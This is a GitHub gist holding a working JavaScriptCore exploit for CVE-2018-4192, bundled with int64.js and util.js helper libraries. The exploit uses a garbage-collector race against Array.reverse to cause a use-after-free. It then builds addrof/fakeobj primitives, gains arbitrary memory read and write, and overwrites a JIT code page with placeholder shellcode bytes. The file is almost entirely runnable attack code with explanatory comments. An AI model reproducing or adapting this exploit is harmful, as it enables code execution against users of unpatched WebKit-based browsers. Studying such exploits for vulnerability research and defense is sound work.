Skip to content

Instantly share code, notes, and snippets.

@raystyle
Forked from itszn/exploit.js
Created October 8, 2018 05:33
Show Gist options
  • Save raystyle/e6fec36259f61190faea6d935e16e90a to your computer and use it in GitHub Desktop.
Save raystyle/e6fec36259f61190faea6d935e16e90a to your computer and use it in GitHub Desktop.
Exploit for JavascriptCore CVE-2018-4192
// Load Int library, thanks saelo!
load('util.js');
load('int64.js');
// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var jsval_magic = new Int64('0x3232323232323232').asDouble();
var structs = [];
function log(x) {
print(x);
}
// Look OOB for array we can use with JSValues
function findArrayOOB(corrupted_arr, groom) {
log("Looking for JSValue array with OOB Float array");
for (let i = 0; i<corrupted_arr.length; i++) {
convf[0] = corrupted_arr[i];
// Find the magic value we stored in the JSValue Array
if (convi[0] == 0x10) {
convf[0] = corrupted_arr[i+1];
if (convi[0] != 0x32323232)
continue;
// Change the first element of the array
corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();
let target = null;
// Find which array we modified
for (let j = 0; j<groom.length; j++) {
if (groom[j][0] != jsval_magic) {
target = groom[j];
break
}
}
log("Found target array for addrof/fakeobj");
// This object will hold our primitives
let prims = {};
let oob_ind = i+1;
// Get the address of a given jsobject
prims.addrof = function(x) {
// To do this we put the object in the jsvalue array and
// access it OOB with our float array
target[0] = x;
return Int64.fromDouble(corrupted_arr[oob_ind]);
}
// Return a jsobject at a given address
prims.fakeobj = function(addr) {
// To do this we overwrite the first slot of the jsvalue array
// with the OOB float array
corrupted_arr[oob_ind] = addr.asDouble();
return target[0];
}
return prims;
}
}
}
// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
function randomString() {
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
}
// Spray arrays for structure id
for (let i = 0; i < 0x1000; i++) {
let a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
structs.push(a);
}
}
// Here we will create our fake typed array and get arbitrary read/write
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function getArb(prims) {
sprayStructures()
let utarget = new Uint8Array(0x10000);
utarget[0] = 0x41;
// Our fake array
// Structure id guess is 0x200
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
let jscell = new Int64('0x0118270000000200');
// Construct the object
// Each attribute will set 8 bytes of the fake object inline
obj = {
'a': jscell.asDouble(),
// Butterfly can be anything
'b': false,
// Target we want to write to
'c': utarget,
// Length and flags
'd': new Int64('0x0001000000000010').asDouble()
};
// Get the address of the values we stored in obj
let objAddr = prims.addrof(obj).add(16);
log("Obj addr + 16 = "+objAddr);
// Create a fake object from this pointer
let fakearray = prims.fakeobj(objAddr);
// Attempt to find a valid ID for our fake object
while(!(fakearray instanceof Float64Array)) {
jscell.add(1);
obj['a'] = jscell.asDouble();
}
log("Matched structure id!");
// Set data at a given address
prims.set = function(addr, arr) {
fakearray[2] = addr.asDouble();
utarget.set(arr);
}
// Read 8 bytes as an Int64 at a given address
prims.read64 = function(addr) {
fakearray[2] = addr.asDouble();
let bytes = Array(8);
for (let i=0; i<8; i++) {
bytes[i] = utarget[i];
}
return new Int64(bytes);
}
// Write an Int64 as 8 bytes at a given address
prims.write64 = function(addr, value) {
fakearray[2] = addr.asDouble();
utarget.set(value.bytes);
}
}
// Here we will use build primitives to eventually overwrite the JIT page
function exploit(corrupted_arr, groom) {
save.push(groom);
save.push(corrupted_arr);
// Create fakeobj and addrof primitives
let prims = findArrayOOB(corrupted_arr, groom);
// Upgrade to arb read/write from OOB read/write
getArb(prims);
// Build an arbitrary JIT function
// This was basically just random junk to make the JIT function larger
let jit = function(x) {
var j = []; j[0] = 0x6323634;
return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };
// Make sure the JIT function has been compiled
jit();
jit();
jit();
// Traverse the JSFunction object to retrieve a non-poisoned pointer
log("Finding jitpage");
let jitaddr = prims.read64(
prims.read64(
prims.read64(
prims.read64(
prims.addrof(jit).add(3*8)
).add(3*8)
).add(3*8)
).add(5*8)
);
log("Jit page addr = "+jitaddr);
// Overwrite the JIT code with our INT3s
log("Writting shellcode over jit page");
prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);
// Call the JIT function, triggering our INT3s
log("Calling jit function");
jit();
throw("JIT returned");
}
// Find and set the length of a non-freed butterfly with our unstable OOB primitive
function setLen(uaf_arr, ind) {
let f=0;
for (let i=0; i<uaf_arr.length; i++) {
convf[0] = uaf_arr[i];
// Look for a new float array, and set the length
if (convi[0] == 0x10) {
convf[0] = uaf_arr[i+1];
if (convi[0] == 0x32323232 && convi[1] == 0x32323232) {
convi[0] = 0x42424242;
convi[1] = 0x42424242;
uaf_arr[i] = convf[0];
return;
}
}
}
throw("Could not find anouther array to corrupt");
}
let oob_rw_unstable = null;
let oob_rw_unstable_ind = null;
let oob_rw_stable = null;
// After this point we would stop seeing GCs happen enough to race :(
const limit = 10;
const butterfly_size = 32
let save = [0, 0]
for(let at = 0; at < limit; at++) {
log("Trying to race GC and array.reverse() Attempt #"+(at+1));
// Allocate the initial victim and target arrays
let victim_arrays = new Array(2048);
let groom = new Array(2048);
for (let i=0; i<victim_arrays.length; i++) {
victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)
groom[i] = new Array(butterfly_size/2).fill(jsval_magic)
}
let vv = [];
let v = []
// Allocate large strings to trigger the GC while calling reverse
for (let i = 0; i < 506; i++) {
for(let j = 0; j < 0x100; j++) {
// Cause GCs to trigger while we are racing with reverse
if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }
victim_arrays.reverse()
}
}
for (let i = 0; i < victim_arrays.length; i++) {
// Once we see we have replaced a free'd butterfly
// fill the replacing array with 0x41414141... to smash rest
// of UAF'ed butterflies
// We know the size will be 506, because it will have been replaced with v
// we were pushing into in the loop above
if(victim_arrays[i].length == 506) {
victim_arrays[i].fill(2261634.5098039214)
}
// Find the first butterfly we have smashed
// this will be an unstable OOB r/w
if(victim_arrays[i].length == 0x41414141) {
oob_rw_unstable = victim_arrays[i];
oob_rw_unstable_ind = i;
break;
}
}
// If we successfully found a smashed and still freed butterfly
// use it to corrupt a non-freed butterfly for stability
if(oob_rw_unstable) {
setLen(oob_rw_unstable, oob_rw_unstable_ind)
for (let i = 0; i < groom.length; i++) {
// Find which array we just corrupted
if(groom[i].length == 0x42424242) {
oob_rw_stable = groom[i];
break;
}
}
if (!oob_rw_stable) {
throw("Groom seems to have failed :(");
}
}
// chew CPU to avoid a segfault and help with gc schedule
for (let i = 0; i < 0x100000; i++) { }
// Attempt to clean up some
let f = []
for (let i = 0; i < 0x2000; i++) {
f.push(new Array(16).fill(2261634.6098039214))
}
save.push(victim_arrays)
save.push(v)
save.push(f)
save.push(groom)
if (oob_rw_stable) {
log("Found stable corrupted butterfly! Now the fun begins...");
exploit(oob_rw_stable, groom);
break;
}
}
throw("Failed to find any UAF'ed butterflies");
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add__(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
this.add = operation(function add_(a) {
return this.assignAdd(this, a);
}, 1);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// That's all the arithmetic we need for exploiting WebKit.. :)
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment